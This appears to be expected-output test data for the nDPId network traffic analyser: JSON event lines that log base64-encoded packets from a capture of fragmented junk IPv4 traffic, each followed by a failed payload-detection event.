+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211855,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211902,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":211991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212114,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 